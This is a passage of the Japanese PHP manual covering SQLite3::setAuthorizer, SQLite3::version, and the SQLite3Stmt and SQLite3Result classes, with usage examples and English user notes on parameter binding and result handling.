SQLite に対して毎回アクション(読み取り、削除、更新など) が実行される度に呼び出されるコールバックを設定します。 これは信頼できないソースがSQL文を準備する時に、 自分たちが許可していないデータにアクセスさせないとか、 データベースに損害を与える不正なSQL文を実行させないといった用途に使います。 たとえば、アプリケーションはデータベースの評価の際は 任意のSQL文の実行を許可しています。しかし、 データベースに対する変更は許可したくありません。 ユーザーが入力したSQL文が準備される間に、 authorizer が割って入り、SELECT 文以外のSQL文を許可しないようにできます。

authorizer コールバックは、 SQLite が文を準備するたびに複数回呼ばれる可能性があります。 SELECT や UPDATE 文は 個別のカラムが読み取られたり、更新されたりするたびに authorizer を呼び出します。

authorizer は引数を5つまで指定して呼び出すことが出来ます。 最初の引数は常に与えられます。 これは SQLite3 の定数に一致する int の値(アクションコード) です。 それ以外の引数は、アクションによっては与えられないことがあります。 以下の表が、アクションに応じた2番目と3番目の引数に関する説明を記しています:

アクションコードと引数の一覧
アクション | 第2引数 | 第3引数
sqlite3::create_index | インデックス名 | テーブル名
sqlite3::create_table | テーブル名 | null
sqlite3::create_temp_index | インデックス名 | テーブル名
sqlite3::create_temp_table | テーブル名 | null
sqlite3::create_temp_trigger | トリガ名 | テーブル名
sqlite3::create_temp_view | view名 | null
sqlite3::create_trigger | トリガ名 | テーブル名
sqlite3::create_view | view名 | null
sqlite3::delete | テーブル名 | null
sqlite3::drop_index | インデックス名 | テーブル名
sqlite3::drop_table | テーブル名 | null
sqlite3::drop_temp_index | インデックス名 | テーブル名
sqlite3::drop_temp_table | テーブル名 | null
sqlite3::drop_temp_trigger | トリガ名 | テーブル名
sqlite3::drop_temp_view | view名 | null
sqlite3::drop_trigger | トリガ名 | テーブル名
sqlite3::drop_view | view名 | null
sqlite3::insert | テーブル名 | null
sqlite3::pragma | プラグマの名前 | プラグマに渡す最初の引数。もしくは null
sqlite3::read | テーブル名 | カラム名
sqlite3::select | null | null
sqlite3::transaction | 操作 | null
sqlite3::update | テーブル名 | カラム名
sqlite3::attach | ファイル名 | null
sqlite3::detach | データベース名 | null
sqlite3::alter_table | データベース名 | テーブル名
sqlite3::reindex | インデックス名 | null
sqlite3::analyze | テーブル名 | null
sqlite3::create_vtable | テーブル名 | モジュール名
sqlite3::drop_vtable | テーブル名 | モジュール名
sqlite3::function | null | ファンクション名
sqlite3::savepoint | 操作 | セーブポイントの名前
sqlite3::recursive | null | null

5番目の引数は、適切な場合にだけ指定する("main", "temp", などの) データベースの名前です。

authorizer コールバックに与える6番目の引数は、 トップレベルのSQLコードから直接アクセスが行われる場合に、 アクセスを試みる責任を持つ一番奥の view やトリガの名前です。

コールバックが SQLite3::OK を返すと、操作のリクエストが承認されたことになります。 コールバックが SQLite3::DENY を返すと、authorizer を動かした呼び出しは失敗し、 なぜアクセスが失敗したのかを説明するメッセージが残ります。

アクションが SQLite3::READ で、 さらにコールバックが SQLite3::IGNORE を返す場合、 準備されたSQL文は、 SQLite3::OK が返された場合に読まれていたテーブルのカラムを null で置き換えるように文を組み立てます。 SQLite3::IGNORE は、 信頼できないユーザーのアクセスが、 テーブルの個別のカラムへのアクセスを拒否する場合に使うことが出来ます。

テーブルを SELECT 文で参照しているが、 そのテーブルからカラムの値を抜き出さない場合 (たとえば、"SELECT count(*) FROM table" のようなクエリの場合)、 SQLite3::READ の authorizer コールバックは カラムの情報が空文字列になった状態で一度だけ呼び出されます。

アクションコードが SQLite3::DELETE で、 さらにコールバックが SQLite3::IGNORE を返した場合、 DELETE の操作は継続しますが、truncate による最適化は無効になります。 この場合、全ての行は個別に削除されます。

接続ひとつにつき、authorizer ひとつだけがデータベースに存在できます。 SQLite3::setAuthorizer() が呼び出されるたびに、 以前の呼び出しは上書きされます。 null をコールバックに指定することで、 authorizer を無効に出来ます。authorizer はデフォルトで無効になっています。

authorizer コールバックは、コールバックを呼び出すデータベース接続に対していかなる変更もしてはいけません。

authorizer はSQL文が準備される時にだけ呼び出されることに注意して下さい。 実行時ではありません。

さらなる詳細は » SQLite3 のドキュメント を参照して下さい。

パラメータ

callback

呼び出される callable。

null が渡されると、 現在の authorizer のコールバックが無効になります。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドは例外をスローしません。 しかし、いったん authorizer が有効になり、不正な値を返すと、 SQL文の準備がエラー (または例外。 SQLite3::enableExceptions() の使い方によります) を発生させるようになります。

例

例1 SQLite3::setAuthorizer() の例

この例は、読み取りだけを許可します。 さらに、users テーブルのいくつかのカラムだけを返します。 他のカラムは null で置き換えられます。

<?php
$db = new SQLite3('data.sqlite');
$db->exec('CREATE TABLE users (id, name, password);');
$db->exec('INSERT INTO users VALUES (1, \'Pauline\', \'Snails4eva\');');

$allowed_columns = ['id', 'name'];

$db->setAuthorizer(function (int $action, ...$args) use ($allowed_columns) {
    if ($action === SQLite3::READ) {
        list($table, $column) = $args;

        if ($table === 'users' && in_array($column, $allowed_columns) {
            return SQLite3::OK;
        }

        return SQLite3::IGNORE;
    }

    return SQLite3::DENY;
});

print_r($db->querySingle('SELECT * FROM users WHERE id = 1;'));

上の例の出力は以下となります。

Array
(
    [id] => 1
    [name] => Pauline
    [password] =>
)

User Contributed Notes

There are no user contributed notes for this page.


SQLite3 ライブラリのバージョンを、文字列定数と数値で返す

  • ≪ SQLite3::setAuthorizer
  • SQLite3Stmt ≫
  • PHP Manual
  • SQLite3
  • SQLite3 ライブラリのバージョンを、文字列定数と数値で返す

SQLite3::version

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::version — SQLite3 ライブラリのバージョンを、文字列定数と数値で返す

説明

public static SQLite3::version ( ) : array

SQLite3 ライブラリのバージョンを、文字列定数と数値で返します。

パラメータ

この関数にはパラメータはありません。

返り値

キー "versionString" および "versionNumber" を持つ連想配列を返します。

例

例1 SQLite3::version() の例

<?php
print_r(SQLite3::version());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [versionString] => 3.5.9
    [versionNumber] => 3005009
)

User Contributed Notes

There are no user contributed notes for this page.


SQLite3Stmt クラス

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

はじめに

SQLite 3 拡張モジュールのプリペアドステートメントを扱うクラスです。

クラス概要

SQLite3Stmt {
/* メソッド */
public bindParam ( string|int $param , mixed &$var , int $type = SQLITE3_TEXT ) : bool
public bindValue ( string|int $param , mixed $value , int $type = SQLITE3_TEXT ) : bool
public clear ( ) : bool
public close ( ) : bool
public execute ( ) : SQLite3Result|false
public getSQL ( bool $expand = false ) : string|false
public paramCount ( ) : int
public readOnly ( ) : bool
public reset ( ) : bool
}

目次

  • SQLite3Stmt::bindParam — パラメータを変数にバインドする
  • SQLite3Stmt::bindValue — パラメータの値を変数にバインドする
  • SQLite3Stmt::clear — 現在バインドされているすべてのパラメータをクリアする
  • SQLite3Stmt::close — プリペアドステートメントを閉じる
  • SQLite3Stmt::execute — プリペアドステートメントを実行し、結果セットオブジェクトを返す
  • SQLite3Stmt::getSQL — ステートメントのSQLを取得する
  • SQLite3Stmt::paramCount — プリペアドステートメント内のパラメータの数を返す
  • SQLite3Stmt::readOnly — ステートメントが読み取り専用かどうかを返す
  • SQLite3Stmt::reset — プリペアドステートメントをリセットする

User Contributed Notes

There are no user contributed notes for this page.


パラメータを変数にバインドする

  • ≪ SQLite3Stmt
  • SQLite3Stmt::bindValue ≫
  • PHP Manual
  • SQLite3Stmt
  • パラメータを変数にバインドする

SQLite3Stmt::bindParam

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::bindParam — パラメータを変数にバインドする

説明

public SQLite3Stmt::bindParam ( string|int $param , mixed &$var , int $type = SQLITE3_TEXT ) : bool

パラメータを変数にバインドします。

警告

PHP 7.2.14 と 7.3.0 より前のバージョンでは、
バインドされた値が適切に後の SQLite3Stmt::execute()
の呼び出しで更新されるべき場合、
SQLite3Stmt::execute() をはじめて呼んだ後に
SQLite3Stmt::reset() を呼び出さなければなりませんでした。
SQLite3Stmt::reset() が呼び出されなかった場合、
SQLite3Stmt::bindParam() に渡された変数に代入された値が変化したり、
SQLite3Stmt::bindParam() を再度呼び出したりしても、
バインドされた値は決して変わりませんでした。

パラメータ

param

バインドされるべき文中の値を識別する string (名前付きパラメータの場合) または (位置パラメータの場合) int。 名前付きパラメータがコロン (:) や アットマーク (@) ではじまっていない場合、コロンが自動的に名前の前に付加されます。 位置パラメータは 1 から始まります。

var

変数にバインドするパラメータ。

type

バインドするパラメータのデータ型。

  • SQLITE3_INTEGER: 符号付き整数。 値の大きさに応じて 1, 2, 3, 4, 6, あるいは 8 バイトで格納されます。

  • SQLITE3_FLOAT: 浮動小数点数値。 8 バイトの IEEE 浮動小数点数値として格納されます。

  • SQLITE3_TEXT: テキスト文字列。 データベースのエンコーディング (UTF-8, UTF-16BE あるいは UTF-16-LE) を用いて格納されます。

  • SQLITE3_BLOB: blob データ。 入力がそのままの形式で格納されます。

  • SQLITE3_NULL: NULL 値。

PHP 7.0.7 以降では、 type が省略されると、 自動的に var の型から検出します: bool と int 型は SQLITE3_INTEGER として扱われ、 float は SQLITE3_FLOAT、 null は SQLITE3_NULL、 そして、これら以外は全て SQLITE3_TEXT として扱われます。 これより前のバージョンでは、type が省略されると、 デフォルトの型 SQLITE3_TEXT になっていました。

注意:

var が null の場合、 与えられた type に関わらず、 常に SQLITE3_NULL として扱われます。

返り値

パラメータを変数にバインドした場合に true、 失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.4.0 | param は、 @param 記法もサポートするようになりました。

例

例1 SQLite3Stmt::bindParam() の使い方

この例は、バインドするパラメータがひとつだけのプリペアドステートメントを使い、 どのようにして異なる値を持つ複数の行を挿入するかを示しています。

<?php
$db = new SQLite3(':memory:');
$db->exec("CREATE TABLE foo (bar TEXT)");

$stmt = $db->prepare("INSERT INTO foo VALUES (:bar)");
$stmt->bindParam(':bar', $bar, SQLITE3_TEXT);

$bar = 'baz';
$stmt->execute();

$bar = 42;
$stmt->execute();

$res = $db->query("SELECT * FROM foo");
while (($row = $res->fetchArray(SQLITE3_ASSOC))) {
    var_dump($row);
}
?>

上の例の出力は以下となります。

array(1) {
  ["bar"]=>
  string(3) "baz"
}
array(1) {
  ["bar"]=>
  string(2) "42"
}

参考

  • SQLite3Stmt::bindValue() - パラメータの値を変数にバインドする
  • SQLite3::prepare() - 実行する SQL 文を準備する

User Contributed Notes

Anonymous 19-Oct-2014 06:31
Note that this bindParam needs a variable as the second parameter.
Use bindValue if you want to bind a value, such an array item.


パラメータの値を変数にバインドする

  • ≪ SQLite3Stmt::bindParam
  • SQLite3Stmt::clear ≫
  • PHP Manual
  • SQLite3Stmt
  • パラメータの値を変数にバインドする

SQLite3Stmt::bindValue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::bindValue — パラメータの値を変数にバインドする

説明

public SQLite3Stmt::bindValue ( string|int $param , mixed $value , int $type = SQLITE3_TEXT ) : bool

パラメータの値を変数にバインドします。

警告

PHP 7.2.14 と 7.3.0 より前のバージョンでは、 ステートメントがいったん実行されると、 バインドされたパラメータの値を変えられるようにするために SQLite3Stmt::reset() を呼び出す必要がありました。

パラメータ

param

バインドされるべき文中の値を識別する string (名前付きパラメータの場合) または (位置パラメータの場合) int。 名前付きパラメータがコロン (:) や アットマーク (@) ではじまっていない場合、コロンが自動的に名前の前に付加されます。 位置パラメータは 1 から始まります。

value

変数にバインドする値。

type

バインドする値のデータ型。

  • SQLITE3_INTEGER: 符号付き整数。 値の大きさに応じて 1, 2, 3, 4, 6, あるいは 8 バイトで格納されます。

  • SQLITE3_FLOAT: 浮動小数点数値。 8 バイトの IEEE 浮動小数点数値として格納されます。

  • SQLITE3_TEXT: テキスト文字列。 データベースのエンコーディング (UTF-8, UTF-16BE あるいは UTF-16-LE) を用いて格納されます。

  • SQLITE3_BLOB: blob データ。 入力がそのままの形式で格納されます。

  • SQLITE3_NULL: NULL 値。

PHP 7.0.7 以降では、type が省略されると、 自動的に value の型から検出します: bool と int 型は SQLITE3_INTEGER として扱われ、 float は SQLITE3_FLOAT、 null は SQLITE3_NULL、 そして、これら以外は全て SQLITE3_TEXT として扱われます。 これより前のバージョンでは、type が省略されると、 デフォルトの型 SQLITE3_TEXT になっていました。

注意:

value が null の場合、 与えられた type に関わらず、 常に SQLITE3_NULL として扱われます。

返り値

値を変数にバインドした場合に true、失敗した場合に false を返します

変更履歴

バージョン | 説明
7.4.0 | param が、新たに @param 記法をサポートしました。

例

例1 SQLite3Stmt::bindValue() の例

<?php
$db = new SQLite3(':memory:');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray(SQLITE3_ASSOC));
?>

上の例の出力は以下となります。

array(1) {
  ["bar"]=>
  string(14) "This is a test"
}

参考

  • SQLite3Stmt::bindParam() - パラメータを変数にバインドする
  • SQLite3::prepare() - 実行する SQL 文を準備する

User Contributed Notes

vaibhavatul47 at gmail dot com 13-Apr-2016 12:42
I used following logic to prepare statements, It handles both Values and Arrays ( taking help from bohwaz note) :

<?php
    function getArgType($arg) {
        switch (gettype($arg)) {
            case 'double':  return SQLITE3_FLOAT;
            case 'integer': return SQLITE3_INTEGER;
            case 'boolean': return SQLITE3_INTEGER;
            case 'NULL':    return SQLITE3_NULL;
            case 'string':  return SQLITE3_TEXT;
            default:
                throw new \InvalidArgumentException('Argument is of invalid type '.gettype($arg));
        }
    }

foreach ($params as $index => $val) {
                // indexing start from 1 in Sqlite statement
                if (is_array($val)) {
                    $ok = $stmt->bindParam($index + 1, $val);
                } else {
                    $ok = $stmt->bindValue($index + 1, $val, getArgType($val));
                }

                if (!$ok) {
                    throw new Exception("Unable to bind param: $val");
                }
            }
?>
andrevanzuydam at gmail dot com 06-Jul-2015 01:41
I just want to say again,

Numbering for parameters starts at ONE!

This has caught me out quite a few times!
bohwaz 18-Jan-2015 04:49
It might be a good idea to feed bindValue the type of the variable manually, or you might encounter weird stuff as the passed value is often treated as SQLITE3_TEXT and results in buggy queries.

For example:
<?php
$st = $db->prepare('SELECT * FROM test WHERE (a+1) = ?');
$st->bindValue(1, 2);
?>

Will never return any result as it is treated by SQLite as if the query was 'SELECT * FROM test WHERE (a+1) = "2"'. Instead you have to set the type manually:

<?php
$st = $db->prepare('SELECT * FROM test WHERE (a+1) = ?');
$st->bindValue(1, 2, \SQLITE3_INTEGER);
?>

And it will work. This bug is reported in https://bugs.php.net/bug.php?id=68849

Here is a simple function to help you make bindValue work correctly:

<?php
function getArgType($arg)
{
    switch (gettype($arg))
    {
        case 'double': return SQLITE3_FLOAT;
        case 'integer': return SQLITE3_INTEGER;
        case 'boolean': return SQLITE3_INTEGER;
        case 'NULL': return SQLITE3_NULL;
        case 'string': return SQLITE3_TEXT;
        default:
            throw new \InvalidArgumentException('Argument is of invalid type '.gettype($arg));
    }
}
?>
zeebinz at gmail dot com 23-Jul-2010 07:54
Note that this also works with positional placeholders using the '?' token:

<?php

$stmt = $db->prepare('SELECT * FROM mytable WHERE foo = ? AND bar = ?');
$stmt->bindValue(1, 'somestring', SQLITE3_TEXT);
$stmt->bindValue(2, 42, SQLITE3_INTEGER);

?>

Positional numbering starts at 1.


現在バインドされているすべてのパラメータをクリアする

  • ≪ SQLite3Stmt::bindValue
  • SQLite3Stmt::close ≫
  • PHP Manual
  • SQLite3Stmt
  • 現在バインドされているすべてのパラメータをクリアする

SQLite3Stmt::clear

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::clear — 現在バインドされているすべてのパラメータをクリアする

説明

public SQLite3Stmt::clear ( ) : bool

現在バインドされているすべてのパラメータをクリアします。 (それらを null に設定します)

警告

このメソッドは SQLite3Stmt::reset() と一緒に使う必要があります。 単独で使うと、 SQLite3Stmt::bindValue() や SQLite3Stmt::bindParam() の呼び出しが無意味になり、 全てのバインドされたパラメータが null になってしまいます。

パラメータ

この関数にはパラメータはありません。

返り値

バインドされているパラメータのクリアに成功した場合に true、 失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメントを閉じる

  • ≪ SQLite3Stmt::clear
  • SQLite3Stmt::execute ≫
  • PHP Manual
  • SQLite3Stmt
  • プリペアドステートメントを閉じる

SQLite3Stmt::close

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::close — プリペアドステートメントを閉じる

説明

public SQLite3Stmt::close ( ) : bool

プリペアドステートメントを閉じます。

注意: このプリペアドステートメントから取得したすべての SQLite3Result は、プリペアドステートメントを閉じた時点で無効になることに注意しましょう。

パラメータ

この関数にはパラメータはありません。

返り値

true を返します。

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメントを実行し、結果セットオブジェクトを返す

  • ≪ SQLite3Stmt::close
  • SQLite3Stmt::getSQL ≫
  • PHP Manual
  • SQLite3Stmt
  • プリペアドステートメントを実行し、結果セットオブジェクトを返す

SQLite3Stmt::execute

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::execute — プリペアドステートメントを実行し、結果セットオブジェクトを返す

説明

public SQLite3Stmt::execute ( ) : SQLite3Result|false

プリペアドステートメントを実行し、結果セットオブジェクトを返します。

警告

同じステートメントオブジェクトに対して、 このメソッドを呼び出すことによって得られる結果セットは独立したものではありません。 むしろ、同じ基礎的な構造を共有しています。 よって、同じステートメントオブジェクトに対して SQLite3Stmt::execute() を再び呼ぶ前には、 SQLite3Result::finalize() を呼び出すことを推奨します。

パラメータ

この関数にはパラメータはありません。

返り値

プリペアドステートメントの実行に成功した場合に SQLite3Result オブジェクト、 失敗した場合に false を返します。

参考

  • SQLite3::prepare() - 実行する SQL 文を準備する
  • SQLite3Stmt::bindValue() - パラメータの値を変数にバインドする
  • SQLite3Stmt::bindParam() - パラメータを変数にバインドする

User Contributed Notes

macguru 28-May-2017 08:08
I had luck in avoiding prepared statements from executing multiple times by finalize()'ing the result after execution.

$stmt->execute()->finalize();

Hope this helps others.
gmail@asmqb7 29-May-2016 07:08
There's currently an issue in the SQLite3 PHP binding (not SQLite3 itself) that causes all queries to be executed twice. It has apparently existed for quite a while.

See here for more info: https://bugs.php.net/bug.php?id=64531

Before discovering the above, I posted this: http://stackoverflow.com/questions/36617708/odd-behavior-with-sqlite3-non-select-prepared-transactions-and-fetcharray (includes copy-paste bug demo)

Workaround: I strongly recommend wrapping any code that might run fetchArray() on non-SELECT query results inside a numColumns() check, like this:

<?php

$op = $db->prepare(...);

$r = $op->execute(); // query #1

if ($r->numColumns()) { // returns column count, here being used as true/false test
  while ($row = $r->fetchArray(SQLITE3_ASSOC)) { // query #2
    // your code here
  }
}

?>

To clarify:

- Query #1 is where the SQLite3 query is executed the first time, query #2 is where the query is executed again. Yes, *everything* is executed twice; this is the bug.

- If your code will only read from and not alter the database (so, a SELECT that won't cause database-altering triggers to run, for example), you're fine. Your query runs twice but it doesn't alter the result.

- If your code will write to the database - for example an INSERT - you MUST not run fetchArray() (and execute the query again) if the number of columns is zero.

- It's not documented in the manual but over here -http://php.net/manual/en/book.sqlite3.php#113144 - user 'bohwaz' mentions that there's also a SQLite3Stmt::readOnly() function since PHP 5.3.11 which will tell you if you just wrote to the DB. This is currently undocumented but might be a more appropriate alternative to numColumns() (I'm not sure what it does, it might be the same).

You might prefer PDO for higher-volume work with SQLite3. This binding is ironically lighter-weight and provides direct access to some SQLite3-specific primitives and behavior... but it runs all queries twice.

[[Note to moderators (this section may be deleted once it has been read; I'm also fine with feedback on the following):

- Please don't consider this comment a bug report - I just want others to be aware of this issue so they don't have to bumble around for hours scratching their heads. :P

- As of the submission date of this comment, there's a unapproved diff for this page stuck in DocBook so I can't add something like "due to bug #64531, you are recommended to wrap fetchArray() inside numColumns()...", which I think would carry more weight than this comment until this bug is fixed.]]


ステートメントのSQLを取得する

  • ≪ SQLite3Stmt::execute
  • SQLite3Stmt::paramCount ≫
  • PHP Manual
  • SQLite3Stmt
  • ステートメントのSQLを取得する

SQLite3Stmt::getSQL

(PHP 7 >= 7.4.0, PHP 8)

SQLite3Stmt::getSQL — ステートメントのSQLを取得する

説明

public SQLite3Stmt::getSQL ( bool $expand = false ) : string|false

プリペアドステートメントのSQLを取得します。 expand が false の場合、 変更されていないSQLを取得します。 expand が true の場合、 全てのクエリパラメータがバインド済みの値で、 何もバインドされていない場合は NULL で置き換えられます。

パラメータ

expand

展開済みのSQLを取得するかどうか。 true を渡すのは、libsqlite 3.14 以降でのみサポートされています。

返り値

プリペアドステートメントのSQLを返します。 失敗した場合に false を返します

エラー / 例外

expand を true に指定したが、libsqlite のバージョンが 3.14 より前の場合、 SQLite3::enableExceptions() に応じて、 E_WARNING レベルの警告または Exception が発生します。

例

例1 展開済みのSQLを調べる

<?php
$db = new SQLite3(':memory:');
$stmt = $db->prepare("SELECT :a, ?, :c");
$stmt->bindValue(':a', 'foo');
$answer = 42;
$stmt->bindParam(2, $answer);
var_dump($stmt->getSQL(true));
?>

上の例の出力は、 たとえば以下のようになります。

string(24) "SELECT 'foo', '42', NULL"

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメント内のパラメータの数を返す

  • ≪ SQLite3Stmt::getSQL
  • SQLite3Stmt::readOnly ≫
  • PHP Manual
  • SQLite3Stmt
  • プリペアドステートメント内のパラメータの数を返す

SQLite3Stmt::paramCount

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::paramCount — プリペアドステートメント内のパラメータの数を返す

説明

public SQLite3Stmt::paramCount ( ) : int

プリペアドステートメント内のパラメータの数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

プリペアドステートメント内のパラメータの数を返します。

参考

  • SQLite3::prepare() - 実行する SQL 文を準備する

User Contributed Notes

There are no user contributed notes for this page.


ステートメントが読み取り専用かどうかを返す

  • ≪ SQLite3Stmt::paramCount
  • SQLite3Stmt::reset ≫
  • PHP Manual
  • SQLite3Stmt
  • ステートメントが読み取り専用かどうかを返す

SQLite3Stmt::readOnly

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

SQLite3Stmt::readOnly — ステートメントが読み取り専用かどうかを返す

説明

public SQLite3Stmt::readOnly ( ) : bool

ステートメントが読み取り専用かどうかを返します。 ステートメントは、それが 直接 データベースファイルの内容を変更しなければ、読み取り専用と見なされます。 ユーザー定義のSQL関数は、間接的に 副作用としてデータベースを変更する可能性があることに注意してください。

パラメータ

この関数にはパラメータはありません。

返り値

ステートメントが読み取り専用であれば true を返します。 そうでなければ false を返します。

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメントをリセットする

  • ≪ SQLite3Stmt::readOnly
  • SQLite3Result ≫
  • PHP Manual
  • SQLite3Stmt
  • プリペアドステートメントをリセットする

SQLite3Stmt::reset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::reset — プリペアドステートメントをリセットする

説明

public SQLite3Stmt::reset ( ) : bool

プリペアドステートメントをリセットし、実行前の状態に戻します。 バインドした内容は、リセットしてもそのまま残ります。

パラメータ

この関数にはパラメータはありません。

返り値

ステートメントのリセットに成功した場合に true、失敗した場合に false を返します

User Contributed Notes

There are no user contributed notes for this page.


SQLite3Result クラス

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

はじめに

SQLite 3 拡張モジュールの結果セットを扱うクラスです。

クラス概要

SQLite3Result {
/* メソッド */
public columnName ( int $column ) : string|false
public columnType ( int $column ) : int|false
public fetchArray ( int $mode = SQLITE3_BOTH ) : array|false
public finalize ( ) : bool
public numColumns ( ) : int
public reset ( ) : bool
}

目次

  • SQLite3Result::columnName — n 番目のカラムの名前を返す
  • SQLite3Result::columnType — n 番目のカラムの型を返す
  • SQLite3Result::fetchArray — 結果の行を、連想配列あるいは数値添字配列あるいはその両方で取得する
  • SQLite3Result::finalize — 結果セットを閉じる
  • SQLite3Result::numColumns — 結果セットのカラム数を返す
  • SQLite3Result::reset — 結果セットを最初の行に戻す

User Contributed Notes

atesin () 6m4i1 ! com 02-Mar-2021 02:56
in response to jan at bootfinder dot co dot uk (comment #115891) about getting num_rows...

how about (not tested)... ?

<?php // do cleans before and after if needed

for ( $nrows = 0; isarray($result->fetchArray()); ++$nrows );
return $nrows;

?>
jan at bootfinder dot co dot uk 10-Oct-2014 03:43
I use the following code to get num_rows:

<?php
...
$nrows = 0;
$result->reset();
while ($result->fetchArray())
    $nrows++;
$result->reset();
return $nrows;
...
?>
sameers dot public at gmail dot com 23-May-2014 05:30
According to http://www.php.net/manual/en/sqlite3result.columntype.php, and also per my experience, columnType() doesn't return anything other than SQLITE3_NULL. Consequently, the test suggested in the comment that tries to identify whether a column is NULL is incorrect.

The right thing to do appears to be to test if ($result->fetchArray())[0] == null.
alan71-at-free-fr 28-Dec-2010 06:34
Here's a snippet that might help you to write a fetchObject function that is also missing:

<?php

function fetchObject($sqlite3result, $objectType = NULL) {
    $array = $sqlite3result->fetchArray();

    if(is_null($objectType)) {
        $object = new stdClass();
    } else {
        // does not call this class' constructor
        $object = unserialize(sprintf('O:%d:"%s":0:{}', strlen($objectType), $objectType));
    }

    $reflector = new ReflectionObject($object);
    for($i = 0; $i < $sqlite3result->numColumns(); $i++) {
        $name = $sqlite3result->columnName($i);
        $value = $array[$name];

        try {
            $attribute = $reflector->getProperty($name);

            $attribute->setAccessible(TRUE);
            $attribute->setValue($object, $value);
        } catch (ReflectionException $e) {
            $object->$name = $value;
        }
    }

    return $object;
}

?>

Heavily inspired of Bergmann's Object Freezer :
https://github.com/sebastianbergmann/php-object-freezer/blob/master/Object/Freezer.php
claudiu at virtuamagic dot com 08-Mar-2010 02:34
fetchArray() will return bool(false) in case of 0 rows.
jonscully at gmail dot com 30-Nov-2009 01:35
Since SQLite3Result::numRows is unavailable, use:

<?php
if ($res->numColumns() && $res->columnType(0) != SQLITE3_NULL) {
    // have rows
} else {
    // zero rows
}
?>

Because when there are zero rows:
* SQLite3Result::fetchArray will return '1'
* SQLite3Result::numColumns will return '1'
* Column type for column '0' will be SQLITE3_NULL


n 番目のカラムの名前を返す

  • ≪ SQLite3Result
  • SQLite3Result::columnType ≫
  • PHP Manual
  • SQLite3Result
  • n 番目のカラムの名前を返す

SQLite3Result::columnName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::columnName — n 番目のカラムの名前を返す

説明

public SQLite3Result::columnName ( int $column ) : string|false

column で指定したカラムの名前を返します。 返されるカラムの名前は AS 句が指定された場合、そこで指定された値になります。 AS 句の指定がない場合、カラムの名前は不定となり、 libsqlite3 のリリースによって変わる可能性があります。

パラメータ

column

0 から始まるカラムの数値インデックス。

返り値

column で指定したカラムの名前を文字列で返します。 カラムが存在しない場合は、false を返します。

User Contributed Notes

There are no user contributed notes for this page.


n 番目のカラムの型を返す

  • ≪ SQLite3Result::columnName
  • SQLite3Result::fetchArray ≫
  • PHP Manual
  • SQLite3Result
  • n 番目のカラムの型を返す

SQLite3Result::columnType

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::columnType — n 番目のカラムの型を返す

説明

public SQLite3Result::columnType ( int $column ) : int|false

column で指定したカラムの型を返します。

パラメータ

column

0 から始まるカラムの数値インデックス。

返り値

column で指定したカラムのデータ型インデックス (SQLITE3_INTEGER、SQLITE3_FLOAT、 SQLITE3_TEXT、SQLITE3_BLOB あるいは SQLITE3_NULL のいずれか) を返します。 カラムが存在しない場合は、false を返します。

User Contributed Notes

hairbysubaru at gmail dot com 17-Jul-2016 02:17
jean-marc is correct. SQLite determines column types dynamically based upon the returned record-set.
jean-marc at paratte dot ch 15-Oct-2014 12:49
To find the type of columns, you need to 'query' the SQL sentence, 'fetchArray' the 1rst row, and then extract the name and type of each column.

Example:

function _sqlite_fetch_all( $db, $sql ) {

    $sqlite = new SQLite3( $db);

    if( $sqlite->lastErrorCode() ) return;

    $result = $sqlite->query( $sql );

    $result->fetchArray( SQLITE3_NUM );
    $fieldnames = [];
    $fieldtypes = [];
    for( $colnum=0; $colnum<$result->numColumns(); $colnum++) {
        $fieldnames[] = $result->columnName($colnum);
        $fieldtypes[] = $result->columnType($colnum);
    }
    $result->reset();

    while( $row = $result->fetchArray( SQLITE3_NUM ) ) {

        for ($colnum=0; $colnum<count($row); $colnum++) {
            $col = &$row[$colnum];
            if (isset($fieldtype_encode_binary[$fieldtypes[$colnum]])) $col = $fieldtype_encode_binary[$fieldtypes[$colnum]]( $col );
        }
        unset($col);
        if ($resulttype == SQLITE3_ASSOC) $row = array_combine( $fieldnames, $row );
        $rows[] = $row;
    }

    $result->finalize();

    $sqlite->close();

    return $rows;
}

Remark 1: The type of a column is SQLITE3_NULL before any 'fetchArray' and 'false' after last fetched row.

Remark2 : The actual values of SQLITE3_INTEGER, SQLITE3_FLOAT, SQLITE3_TEXT, SQLITE3_BLOB, SQLITE3_NULL are 1, 2, 3, 4, 5.
phpnotes at carwash dot org 22-Nov-2011 10:44
This function never returns any value other than 5, indicating SQLITE3_NULL.  SQLite 3 doesn't have column types, it has column affinities.  Different rows of the same table (and rows resulting from a SELECT) can hold values of different types.  Therefore this API cannot return anything useful, and the method appears to be using SQLITE3_NULL as a placeholder.

The function in useless and should be removed or marked as deprecated in future releases, so as not to give any programmer the false idea that the values returned are useful.


結果の行を、連想配列あるいは数値添字配列あるいはその両方で取得する

  • ≪ SQLite3Result::columnType
  • SQLite3Result::finalize ≫
  • PHP Manual
  • SQLite3Result
  • 結果の行を、連想配列あるいは数値添字配列あるいはその両方で取得する

SQLite3Result::fetchArray

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

